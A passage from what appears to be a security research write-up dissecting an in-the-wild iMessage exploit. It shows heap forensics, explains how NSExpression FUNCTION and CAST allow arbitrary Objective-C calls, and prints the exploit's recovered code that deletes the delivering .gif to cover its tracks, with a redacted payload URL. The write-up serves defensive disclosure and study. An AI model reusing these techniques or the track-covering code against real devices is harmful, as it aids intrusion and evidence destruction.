<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> 1969 469120 238.3 non-object </span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0"> 825 26400 32.0 JBIG2Bitmap C++ CoreGraphics</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0">heap</span><span> was able to determine that the leaked memory contained </span><span class="YDzVciBUld-c0">JBIG2Bitmap</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> objects.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>Using the </span><span class="YDzVciBUld-c0">-address</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> option we could find all the individual leaked bitmap objects:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">$ heap -address JBIG2Bitmap $pid</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>and dump them out to files. </span><span class="YDzVciBUld-c2 YDzVciBUld-c3">One of those objects was quite unlike the others:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">$ hexdump -C dumpXX.bin | head</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">00000000 62 70 6c 69 73 74 30 30 |bplist00|</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">...</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">00000018 24 76 65 72 73 69 | $versi|</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">00000020 6f 6e 59 24 61 72 63 68 |onY$arch|</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">00000028 69 76 65 72 58 24 6f 62 |iverX$ob|</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">00000030 6a 65 63 74 73 54 24 74 |jectsT$t|</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">00000038 6f 70 |op |</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">00000040 4e 53 4b 65 79 65 | NSKeye|</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">00000048 64 41 72 63 68 69 76 65 |dArchive|</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>It's clearly a serialized </span><span class="YDzVciBUld-c6 YDzVciBUld-c0"><a class="YDzVciBUld-c111" href="https://developer.apple.com/documentation/foundation/nskeyedarchiver?language=objc">NSKeyedArchiver</a></span><span>. Definitely not what you'd expect to see in a </span><span class="YDzVciBUld-c0">JBIG2Bitmap</span><span> object. Running </span><span class="YDzVciBUld-c0">strings</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> we see plenty of interesting things (noting that the URL below is redacted):</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c3">Objective-C class and selector names:</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSFunctionExpression</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSConstantValueExpression</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSConstantValue</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c0">expressionValueWithObject:context:</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c0">filteredArrayUsingPredicate:</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c0">_web_removeFileOnlyAtPath:</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c0">context:evaluateMobileSubscriberIdentity:</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c0">performSelectorOnMainThread:withObject:waitUntilDone:</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c3">...</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c3">The name of the file which delivered the exploit:</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c0">XXX.gif</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c3">Filesystems paths:</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c0">/tmp/com.apple.messages</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c0">/System/Library/PrivateFrameworks/SlideshowKit.framework/Frameworks/OpusFoundation.framework</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c3">a URL:</span></p>
<p class="YDzVciBUld-c4 YDzVciBUld-c5"><span class="YDzVciBUld-c2 YDzVciBUld-c0">https://XXX.cloudfront.net/YYY/ZZZ/megalodon?AAA</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>Using </span><span class="YDzVciBUld-c0">plutil</span><span> we can convert the </span><span class="YDzVciBUld-c0">bplist00</span><span> binary format to XML. Performing some post-processing and cleanup we can see that the top-level object in the </span><span class="YDzVciBUld-c0">NSKeyedArchiver</span><span> is a serialized </span><span class="YDzVciBUld-c0">NSFunctionExpression</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> object.</span></p><h2 class="YDzVciBUld-c7" id="h.1ai2h2r4yshv"><span class="YDzVciBUld-c9 YDzVciBUld-c3">NSExpression NSPredicate NSExpression</span></h2>
<p class="YDzVciBUld-c4"><span>If you've ever used Core Data or tried to filter a Objective-C collection you might have come across </span><span class="YDzVciBUld-c0">NSPredicates</span><span>. </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://developer.apple.com/documentation/foundation/nspredicate?language=objc">According to Apple's public documentation</a></span><span> they are used </span><span>"</span><span class="YDzVciBUld-c14">to define logical conditions for constraining a search for a fetch or for in-memory filtering</span><span>"</span><span class="YDzVciBUld-c13 YDzVciBUld-c3">.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>For example, in Objective-C you could filter an </span><span class="YDzVciBUld-c0">NSArray</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> object like this:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> NSArray* names = @[@"one", @"two", @"three"];</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> NSPredicate* pred;</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> pred = [NSPredicate predicateWithFormat:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0"> @"</span><span class="YDzVciBUld-c17">SELF beginswith[c] 't'</span><span class="YDzVciBUld-c2 YDzVciBUld-c0">"];</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> NSLog(@"%@", [names filteredArrayUsingPredicate:pred]);</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>The predicate is "</span><span class="YDzVciBUld-c0">SELF beginswith[c] 't'"</span><span>. This prints an </span><span class="YDzVciBUld-c0">NSArray</span><span> containing only "</span><span class="YDzVciBUld-c0">two</span><span>" and "</span><span class="YDzVciBUld-c0">three</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">".</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0">[NSPredicate predicateWithFormat]</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> builds a predicate object by parsing a small query language, a little like an SQL query. </span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0">NSPredicates</span><span> can be built up from </span><span class="YDzVciBUld-c0">NSExpressions</span><span>, connected by </span><span class="YDzVciBUld-c0">NSComparisonPredicates</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> (like less-than, greater-than and so on.)</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0">NSExpressions</span><span> themselves can be fairly complex, containing aggregate expressions (like "</span><span class="YDzVciBUld-c0">IN</span><span>" and "</span><span class="YDzVciBUld-c0">CONTAINS</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">"), subqueries, set expressions, and, most interestingly, function expressions.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>Prior to 2007 (in OS X 10.4 and below) function expressions were limited to just the following five extra built-in methods: </span><span class="YDzVciBUld-c0">sum</span><span>, </span><span class="YDzVciBUld-c0">count</span><span>, </span><span class="YDzVciBUld-c0">min</span><span>, </span><span class="YDzVciBUld-c0">max</span><span>, and </span><span class="YDzVciBUld-c0">average</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>But starting in OS X 10.5 (which would also be around the launch of iOS in 2007) </span><span class="YDzVciBUld-c0">NSFunctionExpressions</span><span> were extended</span><span> </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://developer.apple.com/documentation/foundation/nsexpression">to allow </a></span><span class="YDzVciBUld-c6 YDzVciBUld-c14"><a class="YDzVciBUld-c111" href="https://developer.apple.com/documentation/foundation/nsexpression">arbitrary</a></span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://developer.apple.com/documentation/foundation/nsexpression"> method invocations</a></span><span> with the </span><span class="YDzVciBUld-c0">FUNCTION</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> keyword:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> "FUNCTION('abc', 'stringByAppendingString', 'def')" => @"abcdef"</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0">FUNCTION</span><span> takes a target object, a selector and an optional list of arguments then invokes the selector on the object, passing the arguments. In this case it will allocate an </span><span class="YDzVciBUld-c0">NSString</span><span> object </span><span class="YDzVciBUld-c0">@"abc"</span><span> then invoke the </span><span class="YDzVciBUld-c0">stringByAppendingString:</span><span> selector passing the </span><span class="YDzVciBUld-c0">NSString</span><span> </span><span class="YDzVciBUld-c0">@"def"</span><span>, which will evaluate to the </span><span class="YDzVciBUld-c0">NSString</span><span> </span><span class="YDzVciBUld-c0">@"abcdef"</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>In addition to the </span><span class="YDzVciBUld-c0">FUNCTION</span><span> keyword there's </span><span class="YDzVciBUld-c0">CAST</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> which allows full reflection-based access to all Objective-C types (as opposed to just being able to invoke selectors on literal strings and integers):</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span> "</span><span class="YDzVciBUld-c2 YDzVciBUld-c0">FUNCTION(CAST('NSFileManager', 'Class'), 'defaultManager')"</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>Here we can get access to the </span><span class="YDzVciBUld-c0">NSFileManager</span><span> class and call the </span><span class="YDzVciBUld-c0">defaultManager</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> selector to get a reference to a process's shared file manager instance.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>These keywords exist in the string representation of </span><span class="YDzVciBUld-c0">NSPredicates</span><span> and </span><span class="YDzVciBUld-c0">NSExpressions</span><span>. Parsing those strings involves creating a graph of </span><span class="YDzVciBUld-c0">NSExpression</span><span> objects, </span><span class="YDzVciBUld-c0">NSPredicate</span><span> objects and their subclasses like </span><span class="YDzVciBUld-c0">NSFunctionExpression</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">. It's a serialized version of such a graph which is present in the JBIG2 bitmap.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0">NSPredicates</span><span> using the </span><span class="YDzVciBUld-c0">FUNCTION</span><span> keyword are effectively Objective-C scripts. With some tricks it's possible to build nested function calls which can do almost anything you could do in procedural Objective-C. Figuring out some of those tricks was the key to the 2019 </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://realworldctf.com/">Real World CTF</a></span><span> </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://github.com/ChiChou/DezhouInstrumenz/">DezhouInstrumenz</a></span><span> challenge, which would evaluate an attacker supplied </span><span class="YDzVciBUld-c0">NSExpression</span><span> format string. The </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://blog.chichou.me/2021/01/16/see-no-eval-runtime-code-execution-objc/">writeup by the challenge author</a></span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> is a great introduction to these ideas and I'd strongly recommend reading that now if you haven't. The rest of this post builds on the tricks described in that post.</span></p><h2 class="YDzVciBUld-c7" id="h.lu8fbgty57ln"><span class="YDzVciBUld-c9 YDzVciBUld-c3">A tale of two parts</span></h2>
<p class="YDzVciBUld-c4"><span>The only job of the JBIG2 logic gate machine described in the previous blog post is to cause the deserialization and evaluation of an embedded </span><span class="YDzVciBUld-c0">NSFunctionExpression</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">. No attempt is made to get native code execution, ROP, JOP or any similar technique.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>Prior to iOS 14.5 the </span><span class="YDzVciBUld-c0">isa</span><span> field of an Objective-C object was not protected by Pointer Authentication Codes (</span><span class="YDzVciBUld-c0">PAC)</span><span>, </span><span>so the JBIG2 machine builds a fake Objective-C object with a fake </span><span class="YDzVciBUld-c0">isa</span><span> such that the invocation of the </span><span class="YDzVciBUld-c0">dealloc</span><span> selector causes the deserialization and evaluation of the </span><span class="YDzVciBUld-c0">NSFunctionExpression</span><span>. This is very similar to the technique used by </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html">Samuel in the 2020 SLOP post</a></span><span class="YDzVciBUld-c2 YDzVciBUld-c3">. </span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>This </span><span class="YDzVciBUld-c0">NSFunctionExpression</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> has two purposes:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>Firstly, it allocates and leaks an </span><span class="YDzVciBUld-c0">ASMKeepAlive</span><span> object then tries to cover its tracks by finding and deleting the </span><span class="YDzVciBUld-c0">.gif</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> file which delivered the exploit.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>Secondly, it builds a payload </span><span class="YDzVciBUld-c0">NSPredicate</span><span> object then triggers a logic bug to get that </span><span class="YDzVciBUld-c0">NSPredicate</span><span> object evaluated in the </span><span class="YDzVciBUld-c0">CommCenter</span><span> process, reachable from the </span><span class="YDzVciBUld-c0">IMTranscoderAgent</span><span> sandbox via the </span><span class="YDzVciBUld-c0">com.apple.commcenter.xpc</span><span> </span><span class="YDzVciBUld-c0">NSXPC</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> service.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c3">Let's look at those two parts separately:</span></p><h2 class="YDzVciBUld-c7" id="h.t2uistlubhwq"><span class="YDzVciBUld-c9 YDzVciBUld-c3">Covering tracks</span></h2>
<p class="YDzVciBUld-c4"><span>The outer level </span><span class="YDzVciBUld-c0">NSFunctionExpression</span><span> calls </span><span class="YDzVciBUld-c0">performSelectorOnMainThread:withObject:waitUntilDone</span><span> which in turn calls </span><span class="YDzVciBUld-c0">makeObjectsPerformSelector:@"expressionValueWithObject:context:"</span><span> on an </span><span class="YDzVciBUld-c0">NSArray</span><span> of four </span><span class="YDzVciBUld-c0">NSFunctionExpressions</span><span>. This allows the four independent </span><span class="YDzVciBUld-c0">NSFunctionExpressions</span><span> to be evaluated sequentially.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>With some manual cleanup we can recover pseudo-Objective-C versions of the serialized </span><span class="YDzVciBUld-c0">NSFunctionExpressions</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">. </span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c3">The first one does this:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[[AMSKeepAlive alloc] initWithName:"KA"]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>This allocates and then </span><span>leaks an </span><span class="YDzVciBUld-c0">AppleMediaServices</span><span> </span><span class="YDzVciBUld-c0">KeepAlive</span><span> object</span><span>. The exact purpose of this is unclear.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c3">The second entry does this:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[[NSFileManager defaultManager] _web_removeFileOnlyAtPath: </span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [@"/tmp/com.apple.messages" stringByAppendingPathComponent:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [ [ [ [</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [NSFileManager defaultManager]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> enumeratorAtPath: @"/tmp/com.apple.messages"</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> ]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> allObjects</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> ]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> filteredArrayUsingPredicate:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [NSPredicate predicateWithFormat:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [@"SELF ENDSWITH '"</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> stringByAppendingString: "XXX.gif"]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> stringByAppendingString: "'"</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> ] ] ] ]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> firstObject</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> ]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> ]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span>Reading these single expression </span><span class="YDzVciBUld-c0">NSFunctionExpressions</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> is a little tricky; breaking that down into a more procedural form it's equivalent to this:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSFileManager* fm = [NSFileManager defaultManager];</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSDirectoryEnumerator* dir_enum;</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">dir_enum = [fm enumeratorAtPath: @"/tmp/com.apple.messages"]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSArray* allTmpFiles = [dir_enum allObjects];</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSString* filter;</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">filter = ["@"SELF ENDSWITH '" stringByAppendingString: "XXX.gif"];</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">filter = [filter stringByAppendingString: "'"];</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSPredicate* pred;</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">pred = [NSPredicate predicateWithFormat: filter]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSArray* matches;</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">matches = [allTmpFiles filteredArrayUsingPredicate: pred];</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSString* gif_subpath = [matches firstObject];</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSString* root = @"/tmp/com.apple.messages";</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSString* full_path;</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">full_path = [root stringByAppendingPathComponent: gifSubpath];</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[fm _web_removeFileOnlyAtPath: full_path];</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>This finds the </span><span class="YDzVciBUld-c0">XXX.gif</span><span> file used to deliver the exploit which iMessage has stored somewhere under the </span><span class="YDzVciBUld-c0">/tmp/com.apple.messages</span><span> </span><span>folder and deletes it</span><span>.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>The other two </span><span class="YDzVciBUld-c0">NSFunctionExpressions</span><span> build a payload and then trigger its evaluation in </span><span class="YDzVciBUld-c0">CommCenter</span><span>. For that we need to look at </span><span class="YDzVciBUld-c0">NSXPC</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">.</span></p><h2 class="YDzVciBUld-c7" id="h.3sby3b68al28"><span class="YDzVciBUld-c3 YDzVciBUld-c9">NSXPC</span></h2>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c3">NSXPC is a semi-transparent remote-procedure-call mechanism for Objective-C. It allows the instantiation of proxy objects in one process which transparently forward method calls to the "real" object in another process:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c3"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOvov7r0oFPPVDeNeBSf3Hspypl5AGeZj30ulogkGLGBXJZoy4lDoiunsF9MptZWtnpCyKST1rrP3JtdyqUCvpsAopFrlqp_3b9EuHUFh9FJqnT3iANV_Esl-InoKip8mUjW3BRjNnPOpaj1dQyfoyr5O8apA4yJzsZcPc5mnTeMEsOcqAZQKBsKr5/s1437/image1%286%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOvov7r0oFPPVDeNeBSf3Hspypl5AGeZj30ulogkGLGBXJZoy4lDoiunsF9MptZWtnpCyKST1rrP3JtdyqUCvpsAopFrlqp_3b9EuHUFh9FJqnT3iANV_Esl-InoKip8mUjW3BRjNnPOpaj1dQyfoyr5O8apA4yJzsZcPc5mnTeMEsOcqAZQKBsKr5/s1200/image1%286%29.png" border="0" alt="" style="max-height: 750; max-width: 600px;" title="" /></a></span></p>
<p class="YDzVciBUld-c16"><span class="YDzVciBUld-c13 YDzVciBUld-c3">https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
